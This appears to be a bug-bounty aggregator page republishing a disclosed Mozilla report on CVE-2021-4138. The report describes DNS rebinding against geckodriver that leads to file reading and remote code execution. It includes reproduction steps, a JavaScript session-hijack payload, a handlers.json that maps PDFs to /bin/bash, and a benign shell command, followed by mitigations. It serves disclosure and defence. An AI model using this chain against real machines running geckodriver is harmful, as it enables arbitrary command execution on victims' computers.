Skip to content
RCE Disclosed report Advanced CVE-2021-4138

DNS-rebinding vulnerability to RCE in geckodriver

geckodriver accepted requests carrying any Host header, so a malicious website could use DNS rebinding to reach the local WebDriver service and read its responses. The attacker could then drive a Firefox session, read local files, and achieve remote code execution by pointing the browser at a crafted handler configuration and a shell script served as a PDF.

Gabriel Corona Follow

Originally disclosed on Mozilla

  • Fixed in 13 months
  • Paid in 7 months
  • Disclosed after 13 months

geckodriver is vulnerable to DNS rebinding attack. A malicious origin can send requests to a geckodriver instance (create a new session, navigate, etc.). In contrast to the CSRF vulnerability previously reported, when using this vulnerability, an attacker can see the responses of the attacked geckodriver instance and can thus interact with the created session. This could be used:

  • to attack local services (localhost-bound or on the local network);
  • to attack remote services using the IP address of the victim;
  • reading local files (by navigating to file://);
  • running other programs by navigating to URIs with other schemes;
  • remote code execution (see below).

This vulnerability has been tested on:

  • Mozilla Firefox Nightly 80.0a1 (2020-07-13)
  • geckodriver 0.26.0 (e9783a644016 2019-10-10 13:38 +0000)
  • Debian testing

Reproduction steps

  1. Get a domaine name under your control (in this example I'm using rebind.netlib.re controlled using https://netlib.re/)
  2. Run geckodriver, geckodriver
  3. Serve the proof-of-concept (see attachment), python3 -m http.server --bind 127.0.0.99 4444
  4. Associate your domain name to the IP address of the payload server with a short TTL (@ A 5 127.0.99)
  5. Open this website in a web browser (firefox http://rebind.netlib.re:4444)
  6. Associate your domain name to the IP address of the geckodriver instance (@ A 5 127.0.1))
  7. Wait (appoximately one minute) for the browser to hit the geckodriver instance

This process can be automated (and accelerated) using dedicated DNS rebinding frameworks.

Payload:

JavaScript
function sleep(delay) {
  return new Promise((resolve, reject) => {setInterval(resolve, delay);});
}
async function createSession() {
  while (true) {
    const response = await fetch("/session", {
        method: "POST",
        mode: "same-origin",
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          "capabilities": {
            "alwaysMatch": {
            }
          }
        })
    });
    if (response.status >= 200 && response.status < 300)
      return response.json();
    await sleep(1000);
  }
}
async function main() {
  const creation = await createSession();
  const sessionId = creation.value.sessionId;
  const sessionPath = "/session/" + sessionId;
  fetch(sessionPath + "/url", {
    method: "POST",
    mode: "same-origin",
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      "url": "https://www.youtube.com/watch?v=oHg5SJYRHA0"
    })
  });
}
main()

Getting remote code execution

As the attacker can control the Firefox instance, we can now find new ways to execute arbitrary shell commands (see main2.html).

By using the profile parameters, the attacker can set this handlers.json file:

JSON
{"defaultHandlersVersion":{"fr":3},"mimeTypes":{"application/pdf":{"action":2,"extensions":["pdf"],"handlers":[{"name":"bash","path":"/bin/bash"}]}},"schemes":{"irc":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"ircs":{"stubEntry":true,"handlers":[null,{"name":"Mibbit","uriTemplate":"https://www.mibbit.com/?url=%s"}]},"mailto":{"stubEntry":true,"handlers":[null,{"name":"Yahoo! Mail","uriTemplate":"https://compose.mail.yahoo.com/?To=%s"},{"name":"Gmail","uriTemplate":"https://mail.google.com/mail/?extsrc=mailto&url=%s"}]}}}

Using this configuration file, the Firefox instance will use /bin/bash for opening PDF file.

The PDF we are going to serve is actually a bash script:

Shell
xterm -e nyancat

The attacker can redirect the Firefox instance under his control to this shell script (served as a PDF): Firefox will use bash to open this file. Using this construct the attacker can execute an arbitrary system command as the user.

Mitigations

Checking the Host header

geckodriver is vulnerable to DNS rebinding attacks because it is accepting requests using arbitrary Host header (eg. Host: rebind.netlib.re). By checking the value of the Host header and enforcing values such as localhost:4444, we can prevent DNS rebinding attacks.

HTTP-level Authentication

As previously discussed, adding (opt-in) HTTP-level authentication would prevent a wide range of attacks (including attacks from local users) if this feature were to be supported by WebDriver clients.

PF_LOCAL Socket

As previously discussed, adding an options for using PF_LOCAL socket would prevent a wide range of attacks if this feature were to be supported by WebDriver clients.

The original report as published on Mozilla's Bugzilla, by Gabriel Corona. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the WebDriver server did not validate the Host header, so it accepted requests addressed to an attacker-controlled domain that was rebound to the loopback address.

Impact

An attacker could read responses from the local geckodriver, drive the browser to reach local and remote services, read local files, and execute arbitrary system commands as the user.

What the attacker needed

Attacker-controlled domain; victim visits attacker page; geckodriver running locally; short DNS TTL

The fix

The server should validate the Host header and only accept expected values such as localhost, with optional HTTP authentication or a local socket as further defences.

How it was found

  1. Register a domain you control and point it at the payload server with a short TTL.
  2. Start geckodriver and serve the proof-of-concept page from a local address.
  3. Open the attacker domain in Firefox so the page loads from the payload server.
  4. Change the domain's DNS record to point at the geckodriver address.
  5. Wait about a minute for the browser to resolve the domain to geckodriver and send requests.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

geckodriver is a small helper program that lets automation tools control Firefox. It listens on the local machine and trusts whoever connects, so a website you visit can trick your browser into talking to it. Once the attacker controls the browser, they can make it run commands on your computer.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Gabriel Corona

View all

2 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.